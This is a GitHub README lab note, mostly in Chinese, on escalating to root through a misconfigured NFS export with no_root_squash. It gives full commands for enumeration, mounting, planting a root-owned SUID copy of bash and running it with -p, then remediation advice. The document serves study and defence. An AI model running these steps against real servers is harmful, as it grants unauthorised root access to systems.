sepkascurty-cpu/Linux-Privilege-Escalation-NFS-No_Root_Squash-Exploitation

GitHub: sepkascurty-cpu/Linux-Privilege-Escalation-NFS-No_Root_Squash-Exploitation

该仓库提供了一份完整的 NFS no_root_squash 漏洞利用实操指南,涵盖从枚举探测到 SUID 提权的全流程及修复建议。

Stars: 1 | Forks: 0

# Linux 权限提升:NFS No_Root_Squash 漏洞利用 本仓库包含了关于如何利用 NFS (Network File System) 服务配置漏洞将权限提升至 `root` 的实用指南和网络安全实验室笔记。 ## 📌 漏洞概述 此类攻击的发生是由于管理员在配置目标服务器的 `/etc/exports` 文件时出现了疏忽。主要结合了两个条件: 1. **开放共享 (`*`)**:文件夹在没有强认证系统的情况下共享给整个网络。 2. **`no_root_squash`**:禁用了安全特性。默认情况下,NFS 会将外部 `root` 用户的权限映射为普通用户 (`nobody`)。但是,如果启用了 `no_root_squash`,服务器将直接信任来自攻击者计算机的 `root` 身份。 ## 🧭 攻击流程 ``` graph TD A[Mulai Scan Jaringan] --> B{Port 2049 Terbuka?} B -- Tidak --> C[Cari Celah Lain] B -- Ya --> D[Cek Folder Share Lewat showmount] D --> E{Ada Tanda * dan Status rw?} E -- Tidak --> C E -- Ya --> F[Masuk SSH User Biasa] F --> G[Salin /bin/bash Target ke Folder Share] G --> H[Di Kali Linux: Jalankan chown root & chmod +s] H --> I[Di SSH Target: Eksekusi ./mancing_bash -p] I --> J((SUKSES JADI ROOT!)) ``` ## 🛠️ 实操步骤 ### 第一阶段:枚举 #### 场景 A:从网络外部发起攻击 1. **扫描 NFS 端口 (2049):** nmap -p 2049 2. **查看公开共享的文件夹列表:** showmount -e *寻找星号 (`*`) 标记,这表明该文件夹对任何人开放。* #### 场景 B:已在目标服务器内部(通过普通用户的 SSH) 1. **确保 NFS 服务正在后台运行:** ps aux | grep nfs 2. **查看 NFS 服务器的主配置文件:** cat /etc/exports *漏洞指标:出现类似 `/var/nfsshare *(rw,no_root_squash)` 的行。* ### 第二阶段:挂载 如果确认存在漏洞,请将目标文件夹挂载到您 Kali Linux 计算机上的一个空文件夹中: ``` # 1. 在本地创建 wadah 文件夹 mkdir /tmp/pintu_nfs # 2. 将 target 文件夹连接到本地文件夹 mount -t nfs :/nama_folder_target /tmp/pintu_nfs # 3. 进入该文件夹 cd /tmp/pintu_nfs ``` ### 第三阶段:利用执行(Bash 借还技) 1. **在 SSH 终端(目标)中:** 将目标原始的终端程序复制到 NFS 共享文件夹中,以便我们可以从外部访问它: cp /bin/bash ./mancing_bash 2. **在 Kali Linux 终端(本地)中:** 进入刚才挂载的文件夹。将该文件的所有者更改为 **Root** 并赋予特殊的 **SUID (`+s`)** 权限: sudo chown root:root mancing_bash sudo chmod +s mancing_bash *使用 `ls -l mancing_bash` 进行验证。确保其权限已变为 `-rwsr-xr-x`(包含小写字母 `s`)。* 3. **返回到 SSH 终端(目标)中:** 运行 `mancing_bash` 文件,并加上必填的 `-p` 选项,以确保系统在运行时不会丢弃其 root 权限: ./mancing_bash -p *输入以下命令检查您的新身份:* whoami *最终结果:* `root` ## 🛡️ 漏洞修复建议 为了保护服务器免受此攻击,请编辑目标服务器上的 `/etc/exports` 文件,并将配置更改为更严格的限制: * **错误的配置:** /var/nfsshare *(rw,no_root_squash) * **正确的配置(安全):** /var/nfsshare 192.168.1.50(rw,root_squash) * **`192.168.1.50`**:限制仅允许特定 IP 进行连接,而不是所有人 (`*`)。 * **`root_squash`**:确保外部的 `root` 用户在访问共享文件夹时会被降级为普通用户 (`nobody`),从而无法滥用 SUID 特性。 _本实验室笔记仅供学习、合法的渗透测试和系统安全防御目的使用。_
标签:CTI, NFS, Web报告查看器, 内存分配, 协议分析, 应用安全, 权限提升, 网络安全, 隐私保护